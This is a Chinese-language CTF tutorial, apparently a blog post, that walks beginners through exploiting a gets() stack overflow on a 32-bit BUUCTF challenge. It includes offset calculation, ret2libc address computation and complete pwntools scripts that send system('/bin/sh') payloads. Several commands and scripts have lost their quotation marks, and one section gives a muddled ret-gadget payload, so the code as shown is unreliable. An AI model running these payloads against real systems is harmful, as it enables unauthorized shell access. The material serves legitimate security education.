CTF PWN入门实战:基于gets函数的栈溢出漏洞利用详解

📅 2026/8/3 6:01:11
CTF PWN入门实战:基于gets函数的栈溢出漏洞利用详解
1. 项目概述与核心思路最近在带新人入门CTF PWN方向发现很多朋友卡在栈溢出这个最基础的关卡上尤其是面对gets这种经典漏洞函数时虽然知道原理但一到动手写利用脚本就无从下手。正好借着BUUCTF平台上一个典型的入门级题目我来完整拆解一遍从分析到拿到shell的全过程。这篇文章的目标很明确让你不仅能看懂更能亲手复现。我会假设你只有最基础的C语言和Python知识跟着我的步骤你完全可以从零开始独立完成一次栈溢出攻击。PWN的核心乐趣在于“控制”而栈溢出是实现控制的最直接路径。gets函数因为其“读取输入直到换行符或EOF且不检查缓冲区边界”的特性成为了教科书级别的漏洞案例。我们的目标就是利用它覆盖掉函数返回地址让程序跳转到我们期望的指令位置去执行。在CTF中这个“期望的位置”往往是系统中已经存在的、能直接获取shell的代码片段比如system(/bin/sh)或者是我们自己注入的shellcode。这次实战我们不会使用复杂的ROP返回导向编程链就用最“原始”的覆盖返回地址方式目标是调用程序本身或者libc中已有的system函数。整个流程可以拆解为几个关键步骤环境搭建与题目分析 - 确定溢出点与偏移量 - 寻找可利用的函数与参数 - 构建攻击载荷Payload - 编写并调试Python脚本。下面我们就一步步来。2. 环境准备与题目初步分析2.1 实验环境搭建工欲善其事必先利其器。一个稳定、复现性强的环境是学习PWN的第一步。我强烈推荐使用Ubuntu Linux系统版本18.04或20.04 LTS均可它们在CTF学习和比赛中最为常见。首先安装必要的工具链sudo apt update sudo apt install -y gcc gdb python3 python3-pip git sudo pip3 install pwntoolsgcc用于本地编译测试gdb是强大的调试器pwntools则是我们编写利用脚本的瑞士军刀它能极大简化我们与二进制程序交互、构造载荷的过程。为了模拟比赛环境我们还需要关闭一些现代操作系统默认开启的安全机制否则很多简单的漏洞利用无法成功。在终端中执行# 关闭地址空间布局随机化 (ASLR)让每次运行程序时libc等库的加载地址固定 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # 编译程序时关闭栈保护 (Stack Canary) 和栈不可执行 (NX) # 这通常通过gcc的编译参数实现我们会在编译测试程序时加上注意这些操作降低了系统的安全性仅限在学习和测试的虚拟机或独立环境中进行。实验完成后记得将ASLR重新打开echo 2 | sudo tee /proc/sys/kernel/randomize_va_space。2.2 目标程序分析与逆向假设我们从BUUCTF下载到的题目文件名为pwnme。拿到二进制文件第一步不是直接运行而是用工具“透视”它。1. 检查文件基本信息file pwnme输出会告诉我们这是32位还是64位程序是动态链接还是静态链接。例如ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked表示这是一个32位、动态链接的ELF可执行文件。架构决定了我们后续构造Payload时地址的长度32位是4字节64位是8字节和函数调用约定32位参数压栈64位前几个参数用寄存器。2. 检查安全编译选项checksec pwnme这是pwntools里的命令。你会看到类似下面的输出Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments这对我们是个好消息Stack: No canary found表示没有栈溢出保护金丝雀NX disabled表示栈上的代码可以执行这为我们注入shellcode提供了可能No PIE表示程序本身的代码段加载地址是固定的。这几乎是一个“裸奔”的程序非常适合新手入门。3. 静态分析程序逻辑使用反汇编工具objdump或图形化的IDA Pro/Ghidra。对于新手objdump足够直观objdump -d pwnme -M intel | less我们重点关注main函数和有gets调用的函数。通常代码片段如下0804847b vulnerable_function: 804847b: 55 push ebp 804847c: 89 e5 mov ebp, esp 804847e: 83 ec 48 sub esp, 0x48 ; 在栈上开辟了0x48(72)字节的空间 8048481: 83 ec 0c sub esp, 0xc 8048484: 8d 45 b8 lea eax, [ebp-0x48] ; 缓冲区起始地址是 ebp-0x48 8048487: 50 push eax 8048488: e8 a3 fe ff ff call 8047330 getsplt ; 危险的gets函数 804848d: 83 c4 10 add esp, 0x10 8048490: 90 nop 8048491: c9 leave 8048492: c3 ret ; 函数返回我们的目标就是控制这个ret地址从这段汇编我们可以读出关键信息局部变量缓冲区起始于ebp-0x48而ebp是旧的栈帧基址ret指令返回的地址就保存在ebp4的位置。所以从缓冲区起始到返回地址的偏移量是0x48 (缓冲区大小) 4 (ebp本身占的4字节)。计算下来是0x4c也就是十进制的76字节。这意味着我们输入超过76个字符后就会开始覆盖函数的返回地址。3. 漏洞利用的关键信息搜集知道了偏移量我们还需要知道“跳转到哪里”。我们的目标是执行system(/bin/sh)。有两种常见思路一是跳转到程序本身自带的system函数和/bin/sh字符串二是利用libc中的system函数和/bin/sh字符串。3.1 寻找程序内的“礼物”Gadgets首先检查程序本身有没有提供现成的调用。使用objdump或pwntools的ELF模块搜索字符串和函数from pwn import * context(oslinux, archi386) # 设置上下文为32位linux elf ELF(./pwnme) # 查找所有字符串 print(elf.search(b/bin/sh).__next__()) # 如果找到会打印地址 # 查找函数地址 print(hex(elf.sym[system])) # 打印system函数的地址如果程序本身是静态编译的或者出题人故意留了后门这里可能会找到system和/bin/sh。但更多情况下动态链接的程序需要去libc里找。3.2 泄露与计算libc基地址如果程序内没有我们就必须转向libc。但ASLR会让libc的加载地址每次运行都变化。不过题目通常会将某个libc函数的实际地址打印出来比如通过puts打印puts自己的地址这就是“泄露”。我们通过接收这个地址减去该函数在libc中的固定偏移可以从libc数据库中查得就能算出本次运行中libc的基地址。1. 确定libc版本题目可能提供libc文件或者我们可以通过泄露的函数地址低12位因为页对齐后三位是固定的去在线库如https://libc.blukat.me/匹配。假设我们已知题目使用的是libc-2.23.so。2. 计算偏移# 在本地找到libc文件后用readelf或objdump查偏移 readelf -s /path/to/libc-2.23.so | grep -w system readelf -s /path/to/libc-2.23.so | grep -w puts # 或者用pwntools libc ELF(/path/to/libc-2.23.so) print(hex(libc.sym[system])) print(hex(libc.sym[puts]))假设查到system偏移是0x3a940puts偏移是0x5f140/bin/sh字符串偏移是0x158e8b。3. 利用泄露计算如果程序执行了puts(putsgot)打印出了puts的实际地址leaked_puts_addr。 那么libc_base leaked_puts_addr - libc.sym[puts] system_addr libc_base libc.sym[system] binsh_addr libc_base next(libc.search(b/bin/sh))这样我们就得到了本次运行中关键函数的真实地址。实操心得在实际做题时一定要确认你使用的libc版本与远程服务器完全一致。一个函数地址的低三位可能相同但高位不同会导致利用失败。最稳妥的方法是下载题目提供的libc文件或者用泄露的多个函数地址去唯一确定一个版本。4. 构建攻击载荷与栈帧布局这是整个利用中最需要精细计算的部分。我们以32位程序、直接覆盖返回地址到system函数为例。4.1 基本Payload结构我们的目标是让程序执行system(/bin/sh)。在32位程序调用约定中参数是通过栈传递的。所以当ret指令执行后它会从我们覆盖的地址system_addr开始执行同时system函数会认为它自己的返回地址我们不用关心和第一个参数就在栈顶之后的位置。因此栈的布局在覆盖完成后应该是这样的从低地址到高地址[ 垃圾数据填充偏移量 ] [ system函数地址 ] [ system函数的返回地址可随意 ] [ 参数指向/bin/sh字符串的地址 ]对应到我们的输入字符串payload bA * offset p32(system_addr) p32(0xdeadbeef) p32(binsh_addr)解释bA*offset填充缓冲区直到覆盖到返回地址之前。offset就是我们之前计算的76。p32(system_addr)覆盖原有的返回地址使程序流跳转到system函数。p32()是pwntools将整数打包为32位小端序字节的函数。p32(0xdeadbeef)这是system函数执行完毕后的返回地址。因为我们的目标只是拿到shell之后程序崩溃也无所谓所以这里可以填任意值。p32(binsh_addr)这是传递给system函数的参数即字符串/bin/sh在内存中的地址。4.2 处理栈对齐问题在某些系统调用或特定架构下调用函数时要求栈指针ESP按16字节对齐否则可能导致崩溃。一个常见的技巧是在system地址后面再额外添加一个ret指令的地址通常写作pop eip; ret这样的gadget地址这个gadget会先执行一次ret相当于让ESP移动4字节从而满足对齐要求。此时的Payload结构变为payload bA*offset p32(pop_ret_addr) p32(binsh_addr) p32(system_addr)这种结构利用了pop retgadget来调整栈帧是更稳健的做法。我们可以用ROPgadget工具在二进制文件中寻找这样的片段。4.3 寻找字符串与构造参数如果程序里或libc里没有现成的/bin/sh字符串怎么办我们可以自己写进去。利用gets函数本身它会把我们的输入读到我们可控的缓冲区地址。我们可以分两次输入第一次溢出控制程序流跳转到gets函数本身让它把/bin/sh字符串读到某个已知的、可写的内存地址比如.bss段。第二次溢出或直接在一次利用链中再跳转到system并将刚才写入的地址作为参数。这涉及更复杂的ROP链构造但对于理解栈溢出利用的灵活性非常有帮助。5. 完整Python利用脚本编写与调试理论清晰了现在我们来写一个通用的、面向此类简单题目的脚本框架。假设我们已经通过分析知道了offset76程序内有system和/bin/sh地址分别为0x8048400和0x804a024并且程序是32位。5.1 基础脚本框架#!/usr/bin/env python3 from pwn import * # 导入pwntools # 1. 设置目标程序和环境 context(oslinux, archi386, log_leveldebug) # 设置上下文调试时log_level设为debug可以看到详细通信 # 本地测试 p process(./pwnme) # 运行本地文件 # 远程连接打比赛时用 # p remote(node4.buuoj.cn, 12345) # 2. 接收程序输出直到出现输入提示例如“input:” p.recvuntil(binput:) # 3. 构造Payload offset 76 system_addr 0x8048400 # 替换为实际的system函数地址 binsh_addr 0x804a024 # 替换为实际的/bin/sh字符串地址 # 最基础的Payload构造 payload bA * offset # 填充垃圾数据 payload p32(system_addr) # 覆盖返回地址为system payload p32(0xdeadbeef) # system函数的返回地址任意值 payload p32(binsh_addr) # system函数的参数即/bin/sh的地址 # 4. 发送Payload p.sendline(payload) # 5. 将控制权交还给用户进行交互拿到shell后可以执行命令 p.interactive()5.2 脚本调试与问题排查写好的脚本很可能第一次运行不成功。别慌这是常态。我们需要调试。1. 使用GDB附加调试在脚本中可以使用gdb.attach(p)来在发送Payload前暂停并启动GDB调试。# 在 p process(./pwnme) 后加入 pause() # 暂停脚本等待我们手动操作 # 或者 gdb.attach(p, b *vulnerable_function0x20 # 在gets函数调用后下断点 c )然后运行脚本它会自动打开GDB并附加到进程。你可以单步执行ni/si查看栈内存x/20wx $esp观察返回地址是否被正确覆盖。2. 常见失败原因与解决偏移量计算错误这是最常见的问题。重新核对反汇编代码确认缓冲区起始地址通常是ebp-0xXX到ebp的距离再加上4字节覆盖ebp本身才是到返回地址的偏移。也可以用pwntools的cyclic模式字串快速定位payload cyclic(200) # 生成200个特殊的、不重复的4字节模式串 p.sendline(payload) # 程序崩溃后查看崩溃时EIP/RIP寄存器的值 # 使用 cyclic_find(0x6161616c) 来计算精确偏移地址错误或不可执行确认你找到的system地址和/bin/sh地址是否正确并且该内存页具有可执行权限。在GDB中用vmmap命令查看内存映射。栈对齐问题尝试在system地址前加入一个retgadget的地址来调整栈指针。输入中有截断字符gets虽然读到换行但如果你Payload中包含\x00字符串结束符、\x0a换行、\x0d回车等可能会导致输入提前终止。确保地址的十六进制表示中不包含这些字节小端序下地址0x8048400的字节序列\x00\x84\x04\x08就包含\x00。如果无法避免可能需要寻找其他不包含坏字符的地址或使用编码技术。5.3 一个更健壮的脚本示例包含偏移量自动计算#!/usr/bin/env python3 from pwn import * context(oslinux, archi386) def leak_libc(): # 这是一个示例函数演示如何通过格式化字符串或输出泄露libc地址 # 假设程序有一个漏洞可以泄露puts的地址 payload b%3$p # 假设格式化字符串漏洞泄露栈上第三个参数可能是puts的GOT表项 p.sendline(payload) leaked p.recvline().strip() puts_addr int(leaked, 16) log.info(fLeaked puts address: {hex(puts_addr)}) return puts_addr def exploit(): p process(./pwnme) # 1. 首先通过某种方式泄露必要信息比如libc地址 # puts_addr leak_libc() # libc ELF(/path/to/libc.so.6) # libc_base puts_addr - libc.sym[puts] # system_addr libc_base libc.sym[system] # binsh_addr libc_base next(libc.search(b/bin/sh)) # 2. 本地测试已知地址替换成你的 system_addr 0x8048400 binsh_addr 0x804a024 # 3. 使用cyclic确定精确偏移如果未知 # payload cyclic(200) # p.sendline(payload) # p.wait() # 等待程序崩溃 # core p.corefile # offset cyclic_find(core.eip) # 32位用eip, 64位用rip # log.success(fFound offset: {offset}) # p process(./pwnme) # 重新启动进程 offset 76 # 已知偏移 # 4. 构造最终Payload考虑栈对齐加入一个ret gadget # 假设我们在程序中找到了 ret; 指令的地址是 0x80483d2 ret_addr 0x80483d2 payload flat([ bA * offset, ret_addr, # 先执行一个ret调整栈对齐 system_addr, 0xdeadbeef, # system的返回地址 binsh_addr ]) # flat()是pwntools的便捷函数用于将一系列数据打包并拼接 p.recvuntil(binput:) p.sendline(payload) # 5. 尝试交互 p.interactive() if __name__ __main__: exploit()6. 进阶技巧与扩展思考当你成功利用最简单的栈溢出拿到shell后可以尝试挑战更复杂的情况这能帮你深化理解。6.1 绕过部分保护机制面对NX栈不可执行如果栈不能执行代码我们就不能注入shellcode。这时必须使用Return-Oriented Programming (ROP)。原理是利用程序中已有的代码片段gadgets通常以ret结尾将它们串联起来达到调用system等函数的目的。工具如ROPgadget、ropper可以帮你自动搜索可用的gadgets。面对ASLR地址随机化如果只有程序本身的PIE没开但libc的ASLR开着我们就需要先泄露一个libc函数的地址然后计算出libc基址如第3.2节所述。泄露的方法通常是通过格式化字符串漏洞或栈溢出配合puts/printf等输出函数。面对Stack Canary栈保护金丝雀值位于返回地址之前如果被修改程序会检测到并终止。绕过方法通常有两种一是如果存在信息泄露漏洞如格式化字符串可以先泄露金丝雀的值然后在Payload中原样写回二是如果溢出长度有限可以尝试覆盖其他控制流如函数指针而非返回地址。6.2 64位与32位的差异64位利用的主要差异在于函数调用约定前六个整数或指针参数依次通过RDI,RSI,RDX,RCX,R8,R9寄存器传递多余的才用栈。因此要调用system(“/bin/sh”)我们需要控制RDI寄存器的值为/bin/sh的地址。这通常需要通过pop rdi; ret这样的gadget来实现。Payload结构可能类似payload bA*offset p64(pop_rdi_ret_addr) p64(binsh_addr) p64(system_addr)这里offset的计算也需要考虑64位下地址是8字节。6.3 利用工具链的熟练使用pwntools不仅仅是发送接收数据。它的ELF模块用于解析二进制文件ROP模块用于构建ROP链shellcraft模块用于生成shellcodefmtstr模块用于格式化字符串攻击。花时间阅读其官方文档是值得的。GDB with peda/gef/pwndbg这些是GDB的增强插件能高亮显示寄存器、栈、代码自动分析漏洞上下文是动态调试的利器。one_gadget一个用于在libc中查找直接执行execve(‘/bin/sh’, NULL, NULL)的单个gadget地址的工具。有时候这比构造system(‘/bin/sh’)更简单。7. 从这道题延伸出的学习路径成功利用一次栈溢出是一个里程碑但PWN的世界远不止于此。我建议你可以按以下路径继续深入巩固基础在BUUCTF、pwnable.kr等平台上多做几道简单的栈溢出题目熟练使用pwntools和GDB调试。学习ROP这是绕过NX保护的核心技术。从简单的ret2libc开始理解如何用gadget控制参数然后学习如何串联多个gadget完成复杂操作如mprotect改变内存属性后执行shellcode。掌握堆利用堆漏洞如Use-After-Free, Double Free, Heap Overflow是现代PWN题的主流。理解ptmalloc2等堆管理器的基本结构chunk, bin是第一步。熟悉其他漏洞类型格式化字符串、整数溢出、条件竞争等。研究保护与绕过系统学习Canary, ASLR, NX, PIE, RELRO等保护机制的原理及其绕过方法。关注现实漏洞阅读CVE分析报告尝试复现一些历史上著名的漏洞利用理解漏洞从发现到利用的完整链条。最后也是最关键的一点一定要动手一定要调试。看十篇文章不如自己调通一道题。遇到问题多看看汇编多单步执行多观察内存变化。调试过程中那种“灵光一现”和最终拿到shell的成就感正是PWN这项技术吸引人的地方。希望这篇详细的指南能帮你跨出坚实的第一步。